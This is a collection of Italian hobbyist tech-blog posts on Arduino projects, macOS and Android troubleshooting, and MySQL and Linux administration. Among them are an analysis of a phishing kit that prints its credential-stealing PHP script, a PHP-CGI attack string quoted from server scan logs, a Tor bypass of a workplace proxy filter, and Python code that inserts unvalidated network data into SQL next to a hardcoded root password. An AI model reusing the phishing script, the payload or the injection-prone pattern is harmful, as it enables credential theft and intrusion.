Sulla YUN vivono in coabitazione due anime, la parte Arduino e la parte Linux.
L'interfaccia naturale per scambiarsi i dati e' un servizio REST
Sullo sketch, mediante la libreria Bridge, si carica una variabile in valore (nell'esempio la variabile e' A3 ed il suo contenuto e' il valore della porta analogica A33)
Tecnicamente parlando non e' proprio un LAMP (Linux+Apache+Mysql+PHP) ma piuttosto un LUMP (Linux+Uhttpd+Mysql+PHP) ma il concetto e' il medesimo
In aggiunta ho installato anche il sempre utile Midnight Commander per avere un editor un po' piu' umano di Vi
La configurazione parte collegandosi in SSH alla shell della Yun
ssh root@arduino.local
e lanciano prima un aggiornamento dei pacchetti
okpg update
per Midnight Commander ed unzip (che servono sempre)
opkg install mc opkg install unzip
per quanto riguarda Uhttpd, questo risulta configurato di default per cui non e' necessario fare niente di speciale. La directory dove devono essere posti i file e' in /www (direttamente nella root). Gli scrpt di amministrazione sono /etc/init.d/uhttpd
Per aggiungere PHP5 si lancia
opkg install php5 php5-cgi
al termine si deve modificare il file di configurazione di Uhttpd (/etc/config/uhttpd) e decommentare la riga dell'interprete php-cgi.
Riavviando il servizio uhttod e creando una file info.php (phpinfo) nella root si ottiene la risposta che l'interprete funziona
Tocca adesso a Mysql. Per avere un po' piu' di spazio ho spostato il database sulla scheda SD (che e' montata in /mnt/sda1)
opkg install php5-mod-mysql sed -i 's,;extension=mysql.so,extension=mysql.so,g' /etc/php.ini
Python-Mysql (Python 2.7 e' incluso di default per cui non risulta necessario installarlo)
opkg install python-mysql
e per terminare qualcosa che non deve mai mandare ovvero il server SFTP (che non e' montato di defualt)
opkg install openssh-sftp-server
Per iniziare a lavorarci sopra e' meglio inserire i file per il webserver sulla scheda SD, sia per problemi di spazio che per il numero di cicli di lettura/scrittura limitati della memoria della Yun. Senza modificare le impostazioni del webserver la cosa piu' semplice e' creare un link simbolico (in questo modo funzionano pero' solo i file html, per i file in php deve essere riconfigurato il server)
Un po' di tempo fa avevo fatto degli esperimenti con Freenect (qui, qui e qui) ma cio' che mancava era la fusione tra il dato di profondita' e quello della foto
Mi e' stato segnalato il softwareSkanect (disponibile su Windows, Mac e Linux) che fa esattamente quanto richiesto (un esempio nel video soprastante, il soggetto e' quello che e'......)
Il programma e' costoso ma per un uso semiprofessionale puo' valere la spesa.
Avendo preso un MacBook da 13 (soprattutto per problemi di peso e venendo dal 15) mi sono trovato ad avere uno schermo piu' piccolo dell'usuale.
Per questo motivo ho provato ad estendere il monitor provando i programmi che usano lo schermo dell'Ipad come estensione del portatile
Vi sono molte soluzioni a pagamento sia con connessione wifi che con connessione mediante cavo lightning (quest'ultima mi sembrava la migliore fino a quando non ho scoperto che l'Ipad non si ricarica mentre e' in modalita' dual monitor) ma a fronte di recensioni non tutte positive non ho voluto spendere una decina di euro per una prova
Mi sono orientato quindi verso l'unico software che permette una demo ovvero VtDisplay Lite.
Si devono montare sul portatile e sull'Ipad (che devono esssere agganciati alla stessa wifi) i rispettivi programmi e poi si effettua la connessione
Le impressioni d'uso non sono molto positive, c'e' un sensibile (e fastiidoso ritardo) del mouse quando ci si sposta sul monitor Ipad. Puo' essere una soluzione utile in caso di necessita' (vedi mancanza di secondo monitor fisico collegato via thunderbolt) e solo nel caso di tenere qualcosa da leggere sull'ipad (tipo un manuale) mentre si usa il portatile per lavorare ma diciamo che se avessi comprato il software me ne sarei sostanzialmente pentito
Dopo i recenti terremoti vicino a Firenze mi e' tornata la voglia di lavorare ad un progetto che avevo in mente da tempo e che con somma fantasia ho denominato SismoArduino. Si tratta di un progetto da un giorno ovvero che non risolve in 10 minuti collegando 4 fili ma che non necessita comunque troppo impegno
Per questo progettino ho tirato fuori l'Arduino Uno (la scelta e' stata obbligata perche' Arduino Due non entra fisicamente nella scatola da esterni in cui alla fine deve essere alloggiato il tutto per metterlo in produzione), uno shield Ethernet originale Arduino e un accelerometro triassiale ADXL335
Per comodita' ho piegato il pin ST in modo da fare contatto ed ho poi inserito i pin Z,Y e X nelle porte A3,A4 ed A5 patchando poi al volo i cavi di alimentazione (collegati a 3.3V e GND)
Lo sketch montato su Arduino semplicemente legge i dati sulle porte analogiche e poi invia una stringa mediante UDP client ad un server
(Arduino e' 192.168.1.177 mentre il server e' 192.168.1.120 in ascolto su porta 5005)
----------------------------------------------------------------------- #include <SPI.h> #include <Ethernet.h> #include <EthernetUdp.h> //Arduino byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; IPAddress ip(192, 168, 1, 177); unsigned int localPort = 8888; //Server byte remoteIP[4] = {192, 168, 1, 120}; int remotePort = 5005; String dati; char charBuf[1024]; EthernetUDP Udp; void setup() { Serial.begin(9600); Ethernet.begin(mac,ip); Udp.begin(localPort); } void loop() { int x = analogRead(A5); delay(2); int y = analogRead(A4); delay(2); int z = analogRead(A3); delay(2); dati = String(x)+","+String(y)+","+String(z); Serial.println(dati); dati.toCharArray(charBuf, 1024); Udp.beginPacket(remoteIP, remotePort); Udp.write(charBuf); Udp.endPacket(); delay(10); }
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Sul server e' stato messo uno script Python che riceve i dati con un server UDP e li scrive su un database Mysql
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#!/usr/bin/python
import socket import MySQLdb as mdb import time current_milli_time = lambda: int(round(time.time()*1000)) con = mdb.connect('localhost','root','chiara','sismoarduino') sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.bind(("192.168.1.120",5005)) while True: data,addr=sock.recvfrom(1024) with con: cur = con.cursor() cur.execute("INSERT INTO sisard (x1,y1,z1,milli,tempo) VALUES ("+data+","+str(current_milli_time())+",now())") print data
Per la tabella Mysql c'e' un piccolo trucco. Mysql non accetta in modo semplice il formato tempo con i millisecondi. Per cui e' stato creato un campo milli come BIGINT dove e' registrato il tempo completo con i millisecondi ed un campo tempo come DATETIME per il lettore umano
----------------------------------------------------------------------- CREATE TABLE `sisard` ( `x1` int(11) DEFAULT NULL, `y1` int(11) DEFAULT NULL, `z1` int(11) DEFAULT NULL, `milli` bigint(20) DEFAULT NULL, `tempo` datetime NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
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La presentazione dei dati e' effettuata in tempo reale mediante un lettore fatto con le librerie Dygraph
I dati per la presentazione a video vengono generati dal seguente scritp php (in pratica viene generato al volo un CSV che viene dato in pasto a DyGraph
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E questa e' la pagina html che ospita Dygraph con aggiornamento automatico ogni secondo (la finestra e' degli ultimi 1000 dati
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il passo di campionamento misurato e' stato di circa 15-16 campioni al secondo (15 Hz) che non sono assolutamente paragonabili a strumenti professionali (i sismografi reali hanno passi di campionamento che vanno da 50 a 100 Hz)
Qui il video della prova
L'aspetto finale e' da sottolineare e' che il server (di recupero) impiegato e' stato un P3 a 700 Mhz con 128 Mb di ram con Debian Wheezy, Apache, Php, Mysql e Xwindow in funzione ed ha comunque funzionato dignitosamente
In estate avevo scritto una piccola applicazione per IBeacon
E' passata l'estate e l'autunno ma sono rimasto fedele a IOS 7 e OS X 10.9 perche' i sistemi operativi troppo recenti sono sempre fonti di problemi; in questi giorni mi sono pero' convinto a passare ad IOS 8.1.2 sul telefono ed a OSX 10.10 sul portatile
La sorpresa e' venuta quando sono arrivato a compilare ed eseguire il codice per IBeacon che precedemente funzionava perfettamente. Nonostante non ci fossero errori di compilazione ne' errori di esecuzione il programma semplicemente aveva smesso di riconoscere i beacons vicini
Dopo un paio di giorni a battere il capo sul muro sono arrivato su questo link in cui si segnala che con l'arrivo di IOS 8 si devono aggiungere un paio di stringhe un info.plist del progetto
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<key>NSLocationAlwaysUsageDescription</key>
Ieri mi sono trovato per la prima volta a fare una migrazione di dati ed impostazioni tra un vecchio MacBook A1286 verso un nuovo A1278. Considerando che entrambi i sistemi montano 10.10 e che disponevo di un backup di Time Machine, ho sfoderato Assistente di Migrazione ed ho aspettato un paio di ore
Al termine della barra ho visto che l'indicatore era bloccato sulla scritta "Due minuti al termine"; fiducioso ho lasciato che il computer continuasse ma dopo altre due ore era tutto bloccato ed il led del disco esterno mi segnalava che non era piu' il caso di aspettare perche' non c'era attivita' di trasferimento dati
Riacceso il computer ho trovato che era stato creato il nuovo utente ma all'interno del profilo non c'erano le impostazione personalizzate e nemmeno i dati. Ma cosa aveva fatto per tutto il tempo il calcolatore?? Dopo un controllo sullo spazio disco era chiaro che i dati erano stati copiati da qualche parte ma non erano accessibili in modo semplice. Da terminale ho quindi cercato i file piu' grandi di 500 Mb (nelle cartelle copiate c'erano dei video)
Mandando un find su tutto il disco
sudo find / -type f -size +500M
i file sono stati effettivamente copiati in una directory temporanea /private/var/folders (piu' caratteri casuali)
Dopo tre prove fallite di Assistente di Migrazione la soluzione e' stata quella di cancellare tutti i file presenti e copiare a mano tutto quanto dal Finder (....just works :<<<)
Per una installazione didattica avevo bisogno di un lettore per un testo su una pagina web. Non considerando l'ipotesi di un lettore umano ho voluto provare i sistemi (sperimentali) di TextToSpeech che prendono un generico testo ed inviano l'audio di quanto letto in automatico
Il codice per generare e' il seguente (Il testo e' tratto dall'introduzione dalle Lecture on Physics di Feynman)
--------------------------------------------- <html> <head> <title>TTS</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script> <script> $(document).ready(function() { var u1 = new SpeechSynthesisUtterance(); u1.text = $('div').html(); u1.lang = 'en-US'; u1.pitch = 2; u1.rate = 0.5; u1.voiceURI = 'native'; u1.volume = 0.5; speechSynthesis.speak(u1); }); </script> <div id="demo_div"> This two-year course in physics is presented from the point of view that you, the reader, are going to be a physicist. This is not necessarily the case of course, but that is what every professor in every subject assumes! If you are going to be a physicist, you will have a lot to study: two hundred years of the most rapidly developing field of knowledge that there is. So much knowledge, in fact, that you might think that you cannot learn all of it in four years, and truly you cannot; you will have to go to graduate school too! </div>
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e di seguito il video del risultato
con Chrome la lettura e' molto buona ma viene troncata a circa meta' testo (tutto il lavoro e' fatto in remoto dai server di Google che leggono il testo, lo processano e mandano indietro un file audio....ad occhio c'e' impostato un tempo limite) mentre in Safari e' decisamente ridicola
Un'altra soluzione, costosa ma non poi cosi' tanto visti i risultati, e' data da GSpeech, un plugin per Joomla e Wordpress che surclassa decisamente le Api di TTS con un testo senza limiti di tempo e con una intonazione non piatta ma basata sulla punteggiatura (atttenzione audio basso)
Su Firefox del computer di mia moglie (Windows XP) e' comparso improvvisamente il messaggio che il plugin di Flash deve essere aggiornato
Considerando che questo plugin e' quello impiegato per visualizzare i video di Youtube, il bambino non poteva piu' vedere i suoi cartoni animati e cio' e' male
Tentando di aggiornare i plugin di Firefox sono andato in Strumenti/Componenti Aggiuntivi/Plugin in cui erano segnalati dei plugin obsoleti da aggiornare ma niente di relativo a Flash
Dopo una buona mezz'ora a cercare di capire dove era il problema ho trovato che l'unica soluzione possibile era l'aggiornamento manuale dal sito di Adobe all'indirizzo http://get.adobe.com/it/flashplayer/
Questo post e' la continuazione dei due precedenti post (1 e 2)
il mio proxy server aziendale, oltre ad effettuare il vero e proprio lavoro di proxy, effettua anche una scansione dei contenuti ed evita la navigazione su una serie di siti che considera non adatti ad un ambiente lavorativo (ancora devo scoprire il motivo perche' fa passare Facebook ma lasciamo perdere......)
Il problema e' che nella rete del blocco del filtro cascano siti legittimi e legati all'attivita' lavorativa come per esempio il sito dell'Ordine dei Geologi della Toscana (viene classificato come Disease Vector anche se non e' vero)
Ho scoperto quasi per caso che il proxy server puo' essere attraversato dalle connessioni su reti TOR. Utilizzando il Tor Browser Bundle (configurato per utilizzare il proxy aziendale) si puo' raggiungere tranquillamente il sito filtrato (nella foto sopra si puo' osservare la pagina di Chrome con sovrapposta Firefox tramite TOR) visto che tutto il contenuto della connessione e' criptato e quindi non puo' essere analizzato
Quindi ancora una volta e' stato possibile evadere dal proxy, con mezzi peraltro banali
In vena di sperimentazione mi sono comprato la Google CardBoard
Si tratta di un esperimento presentato da Google per convertire un comune telefono (vedremo poi non poi cosi' comune) in un visore tridimensionale (come Oculus Rift) dal basso costo
Il kit puo' essere autoprodotto con del cartone (Google fornisce le istruzioni) ma non e' cosi' semplice perche' servono due lentine di una lunghezza focale ben determinata. Il kit ufficiale si trova sui 25 euro ma ho trovato su TinyDeal una offerta ad un paio di euro (spese di spedizione comprese, basta saper aspettare)
Come si vede il kit non e' gran che come precisione ed sono dovuto ricorrere al nastro adesivo per tenere tutto insieme. Il telefono deve essere inserito all'interno dell'alloggiamento (ATTENZIONE!!! puo' scivolare lateralmente quindi puo' cadere durante l'uso e' trattenuto dalle mani ma in altri casi no)
Come si vede dalla foto lo schermo del telefono viene diviso in due settori (uno per ogni occhio) per la visione stereoscopica
questo e' l'aspetto montato
Primo avviso: essendo fatto di cartone ed appoggiandosi sulla fronte, inevitabilmente il sudore della fronte sporca la parte interna (vedi foto sottostante) anche dopo un solo utilizzo
Secondo avviso: non tutti i telefoni sono adatti. Google certifica come funzionanti Nexus 5, Nexus 4 (alcuni utenti lamentano che non funziona perfettamente) e pochi altri. Sul mio Moto G 2013 l'esperienza 3D e' ottima ma NON funziona la funzione click con il magnete (posto sulla sinistra del visore) ed e' necessario avere un telefono con giroscopi (per esempio nei demo si deve inclinare il visore per scorrere a destra e sinistra e sul Moto G 2013 non funziona)
Terzo avviso: il visore puo' funzionare anche con IPhone. Ho provato con le applicazioni 3D compatibili con il 4S ma lo schermo e' decisamente troppo piccolo. Probabilmente si deve utilizzare IPhone 5
Oltre alle applicazioni su PlayStore sono molto carine le applicazioni 3D che si trovano su Chrome Experiment
Frugando nella cartella spam di GMail (non lo faccio spesso ma ogni tanto controllo di non aver perso qualcosa) ho trovato una mail di mia zia ....curioso che GMail sbagli cosi' a classificare le mail.
Aprendo la mail ho trovato solo un link (http://expressbookng.com/oikmco/oyurogwunaehhaadlwohrwyurbap.pvtqyqdnpilaulwse= hm) il quale una volta cliccato rimandava a questo sito (http://mother-blog-home.com/)...ovviamente queste cose si fanno su macchine virtuali usa e getta...mia zia non puo' mandare queste mail ;>
(peraltro la prima volta che ho contattato il sito questo non era raggiungibile, il giorno successivo era invece presente) ok guardiamo meglio aprendo gli header del messaggio e' chiaro perche' Google lo ha messo in spam ..l'ip dichiarato dal mittente non corrisponde al server di posta di libero.it andiamo avanti il server di posta mittente (cne.gob.ve) e' relativo ad un sito istituzionale venezuelano per le elezioni elettorali (non libero) Il messaggio e' stato inoltrato da un client Microsoft ( questo non e' discriminante perche' da Libero si puo' scrivere sia webmail che tramite client di posta sul proprio Pc) Contattata mia zia mi ha detto che il suo account era stato usato per inviare mail a tutti i suoi contatti Il problema era quindi nel portatile ??? Sembra di no perche' non si spiegherebbe l'utilizzo di un mail server venezuelano Andando un po' a giro (per esempio qui) sembra che il problema sia una compromissione dei server di Libero.it...cambiare password dell'account sembra sostanzialmente inutile, forse e' meglio cambiare servizio di posta
---------------------------------------------------------------------------------- Delivered-To: xxxxxx@gmail.com Received: by 10.216.40.6 with SMTP id e6csp81601web; Sat, 29 Nov 2014 14:40:43 -0800 (PST) X-Received: by 10.42.4.201 with SMTP id 9mr1318337ict.23.1417300842579; Sat, 29 Nov 2014 14:40:42 -0800 (PST) Return-Path: <xxxxxxxx@libero.it> Received: from mail.cne.gob.ve (mail.cne.gob.ve. [190.202.82.22]) by mx.google.com with SMTP id 9si9731310ica.66.2014.11.29.14.40.41 for <xxxxxxxx@gmail.com>; Sat, 29 Nov 2014 14:40:42 -0800 (PST) Received-SPF: fail (google.com: domain of xxxxxxx@libero.it does not designate 190.202.82.22 as permitted sender) client-ip=190.202.82.22; Authentication-Results: mx.google.com; spf=fail (google.com: domain of xxxxxxxx@libero.it does not designate 190.202.82.22 as permitted sender) smtp.mail=xxxxxxx@libero.it Received: from localhost (correo-2 [127.0.0.1]) by mail.cne.gob.ve (Postfix) with ESMTP id 681C74BED69 for <xxxxxxx@gmail.com>; Sat, 29 Nov 2014 22:34:42 +0000 (UTC) X-Virus-Scanned: amavisd-new at cne.gob.ve Received: from mail.cne.gob.ve ([127.0.0.1]) by localhost (correo-2.cne [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id PEa1gr_ZJWyY for <xxxxxxxxx@gmail.com>; Sat, 29 Nov 2014 18:04:41 -0430 (VET) Received: from mail.cne.gob.ve (67-32-134-95.pool.ukrtel.net [95.134.32.67]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.cne.gob.ve (Postfix) with ESMTPSA id 1E4DE4BED3E for <xxxxxxx@gmail.com>; Sat, 29 Nov 2014 18:04:39 -0430 (VET) Authentication-Results: mail.cne.gob.ve; dkim=none reason="no signature"; dkim-adsp=none Message-ID: <A4D9D0CA95F0A58CD5E10C49A47C1750@mail.cne.gob.ve> From: "xxxxxxxx" <xxxxxxx@libero.it> To: "xxxxxx" <xxxxxxx@gmail.com> Subject: =?ISO-8859-1?Q?FW=3Amwmachado?= Date: Fri, 29 Nov 2014 11:34:39 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_AFA7_0F92A445.54BC485A" X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3522.110 X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110 This is a multi-part message in MIME format. ------=_NextPart_000_AFA7_0F92A445.54BC485A Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable http://expressbookng.com/oikmco/oyurogwunaehhaadlwohrwyurbap.pvtqyqdnpilaulwse= hm xxxxxxx@libero.it
Oggi mi e' arrivata una mail da una persona che non conosco di persona e che mi aveva condiviso un file su GDocs
da una breve ricerca ho visto che questa persona e' collegata ad un gruppo sui Genesis su Facebook a cui sono iscritto e quindi ho cliccato sul link
Mi si e' aperta questa finestra
Dropbox ??? Che storia e' mai questa ??? Non era GDocs??
E poi guardo la Url ?? non corrisponde a server di Dropbox ma ad un servizio spagnolo (non capisco bene lo spagnolo ma non e' un servizio cloud di file sharing
Provo allora ad andare indietro di una directory su http://surynorte.cl/lee/ ed ecco la gradita sorpresa
Una directory di cui si puo' fare il listing con un file drop.zip troppo invitante per non cliccarci sopra. Lo scarico in locale e questa e' la struttura
il tempo si aprire il file submit.php ed ecco il contenuto
----------------------------------- <?php $ip = $_SERVER['REMOTE_ADDR']; $time = date("m-d-Y g:i:a"); $msg = "---------------------------------------------------------------------------\n"; $msg .= "Dropbox Login Info by Abbeymilli\n"; $msg .= "---------------------------------------------------------------------------\n"; $msg .= "Email : ".$_POST['username']."\n"; $msg .= "Password : ".$_POST['password']."\n"; $msg .= "---------------------------------------------------------------------------\n"; $msg .= "Sent from $ip on $time\n"; $msg .= "---------------------------------------------------------------------------\n"; $to = "kelvinpeter270@gmail.com,kelvinpeter270@gmail.com"; $subject = "Chi Lee Update $ip"; $from = "From: Dropbox<newsupdate@servisdropbox.com>"; mail($to,$subject,$msg,$from); header("Location: http://www.dropbox.com"); ?>
-----------------------------------
in pratica lo script invia le credenziali richieste (username e password) ad una mail. Un vero e proprio phishing (seppure un po' dilettantesco)
A chi lo segnalo questo abuso adesso?????
a proposito: chiunque tu sia signor kelvinpeter270@gmail.com, a questo giro non mi hai preso ;>
Nell'applicazione Estimote per cellulari e' disponibile anche la funzione Virtual Beacon
Il problema e' che, usando gli esempi di Estimote, si riescono a visualizzare i beacon fisici e non il virtual beacon
il problema risiede nel fatto che i beacon fisici Estimote hanno un uuid B9407F30-F5F8-466E-AFF9-25556B57FE6D mentre i virtual beacon hanno un uuid 8492E75F-4FD6-469D-B132-043FE94921D8
Modificando questo parametro e' possibile usare i virtual beacon per gli esempi di Estimote
Recentemente e' stato deciso un aggiornamento di un server interno basato su una vetusta Ubuntu 10.10 per passare ad una macchina e ad una distribuzione piu' recente
Nella migrazione un applicativo proprietario (per altro scritto in Java) basato su MySql ha iniziato a dare improvvisamente problemi con una lentezza delle query (con tempi di risposta aumentati da 10 a 100 volte)
Dopo un po' di navigazione a vuoto per fortuna lo sviluppatore ha fornito l'indicazione corretta
bisogna impostare il motore dati di Mysql da InnoDB a MyIsam
con il tempo (e piu' precisamente da Ubuntu 12.04) le tabelle di default sono passate da InnoDB a MyIsam
In generale riprendendo dal sito MySql le MyIsam sono piu' performanti nelle SELECT (l'applicativo in uso nel server invece effettua circa 40 INSERT al secondo e solo sporadiche select)
per vedere il tipo di motore associato ad una tabella si puo' usare la seguente query SELECT TABLE_NAME, ENGINE FROM information_schema.TABLES where TABLE_SCHEMA = 'xxxxxxx';
Per convertire una tabella di InnoDB a MyIsam si puo' usare invece il comando
ALTER TABLE tablename ENGINE=MYISAM;
Una volta effettuata la modifica il programma e' ritornato a lavorare in modo corretto
Un altro aspetto non trascurabile di differenze tra InnoDB e MyIsam e' che le InnoDB di fatto non sono corruttibili. Se con MYIsam era necessario il comando
mysqlcheck --repair --all-databases -u root -p
adesso in caso di uso InnoDB si mostra l'avviso "The storage engine for the table doesn't support repair"
Dopo un po' di tempo che non amministravo server Linux mi sono ritrovato con nuove macchine da gestire. Dato che sono sempre a giro oramai mi connetto quasi sempre via cellulare. Usando una scheda TIM per una connessione SSH mi sono spesso trovato disconnesso dopo pochi secondi (questo difetto e' sostanzialmente indipendente dall'hardware usato)
dopo un po' di ricerche su Internet ho trovato che questo malfunzionamento era segnalato da tempo su ADSL Telecom e la soluzione suggerita era di aggiungere il parametro ServerAliasInterval come segue
ssh user@host -o ServerAliveInterval=15
l'indicazione e' risultata valida anche per le connessioni mobile per cui adesso riesco ad usare SSH con TIM senza disconnessioni
A seguito dell'uscita di Android 5 (Lollipop) ho aggiornato il sistema tramite OTA piu' che altro per curiosita' di vedere il nuovo sistema operativo (peraltro l'OTA per Nexus 7 2012 e' stata una delle prime ad essere disponibili)
Con mio grande disappunto mi sono trovato ad avere un sistema decisamente rallentato con ritardi di qualche secondo anche nell'eseguire. Il malfunzionamento era segnalato da altri utenti e sono usciti anche dei tutorials (vedi qui) per tentare di risolvere il problema ....per me non hanno avuto successo
L'unica soluzione e' stata quella di tornare indietro a KitKat
Per fare cio' si deve prima scaricare la factory release dal Google (per Nexus 7 2012 Wifi e' (KTU84P)
Si scompatta il pacchetto e si avvia il tablet mediante la combinazione Vol -/Acc
A questo punto si puo' lanciare il comando ./flash-all.sh (o flash-all.bat); verra' riconosciuto il devices
viene richiesto l'unlock del bootloader, si conferma mediante il tasto Acc
a questo punto inizia l'installazione di KitKat
qualche minuto ed il tablet torna una macchina usabile
In alcuni casi c'e' la necessita' di effettuare debugging su Mysql, in particolare quando si ha a che fare con una applicazione proprietaria che scrive sul database e non se ne conoscono le specifiche
Per tracciare il lavoro di Mysql si puo' attivare il log delle query; cio' puo' essere fatto anche senza stoppare il servizio entrando in shell con il comando (questi comandi sono eseguibili solo da amministratore di MySql)
mysql -u root -p
e digitando
SET GLOBAL general_log = 'ON';
fatto cio' sara' creato il file di log (normalmente in /var/lib/mysql/)
nel caso che mi e' capitato e' stato osservato il database ha effettuato circa 4500 queries in 105 secondi (poco meno di 43 queries al secondo)
sospettando un carico eccessivo del db ho attivato il log delle query che richiedono tempo per essere eseguite in modo da vedere se ci fosse una coda di lavoro
Sempre dalla shell di mysql questa funzione si puo' attivare con
SET GLOBAL slow_query_log = 'ON';
(di default la lunghezza di una query lunga e' settata a 10 secondi su Ubuntu, si puo osservare con il comando "show variables like 'long_query_time';")
per modificare il limite della query lunga, per esempio a 50 ms
set global long_query_time = 0.05;
per leggere il file delle slow query puo' essere utile il comando mysqldumpslow
Reading mysql slow query log from Ubuntu-1404-trusty-64-minimal-slow.log
che tradotto indica che la query e' stata eseguita una sola volta (Count 1) con un tempo medio di 11.38 secondi (il tempo tra parentesi e' il tempo cumulato nel caso in cui il count fosse maggiore di 1) e che ha richiesto 9553 righe
Questo puo' essere considerato il bignamino delle scansioni su un server Apache
Si inizia con msscan, un programma per fare scansioni di Internet ad alta velocita' (un parente di nmap)
Poi iniziano scansioni alla ricerca di php4 e php5 installati come cgi. Le stringhe sono codificate ma sono del tipo
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
si finisce con una serie di ricerche su software installati (VTiger, Jenkins Script Console, Hudson script console, PhpMyAdmin, SQLiteManager
giusto per ricordarsi che se devo proprio installare qualcosa, metterlo in posizione non standard non e' una sicurezza ma aiuta in caso di scansioni automatiche
il metodo piu' semplice per monitorare la lettura/scrittura su disco risulta essere il comando iostat (utile piu' che altro perche' sempre installato di default)
con lo switch -m i dati vengono espressi in un formato umanamente leggibile (megabyte al posto di blocchi)
------------------------------------------------
Linux 2.6.32-504.1.3.el6.x86_64 (localhost) 21/11/2014 _x86_64_(8 CPU)
avg-cpu: %user %nice %system %iowait %steal %idle
6,86 0,00 1,52 23,19 0,00 68,43
Device: tps MB_read/s MB_wrtn/s MB_read MB_wrtn
sda 53,99 0,12 0,75 602 3866
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nella riga sda si leggono i valori instantanei di lettura/scrittura e di seguito quelli cumulativi
Per avere pero' un'idea piu' precisa di quale e' il programma che genera traffico su disco e' molto utile il programma in Python iotop (link)
con una interfaccia ncurses ed in tempo reale e' possibile monitorare in dettaglio la fase di IO su disco